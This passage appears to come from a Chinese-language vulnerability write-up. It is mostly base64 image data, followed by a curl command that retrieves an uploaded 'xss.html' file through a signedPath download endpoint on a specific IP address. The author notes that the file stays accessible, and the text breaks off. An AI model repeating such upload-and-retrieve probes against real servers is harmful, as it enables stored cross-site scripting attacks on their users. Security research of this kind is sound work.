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) + + + +再试 /dltemp/——signedPath 端点是上传时返回的: + + +``` +$ curl -s http://139.199.68.168:8080/dltemp/XVG6KgagqfRMcBjb/1785143400000/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html + +``` + +一样能访问。signedPath 名字带 "signed" + + 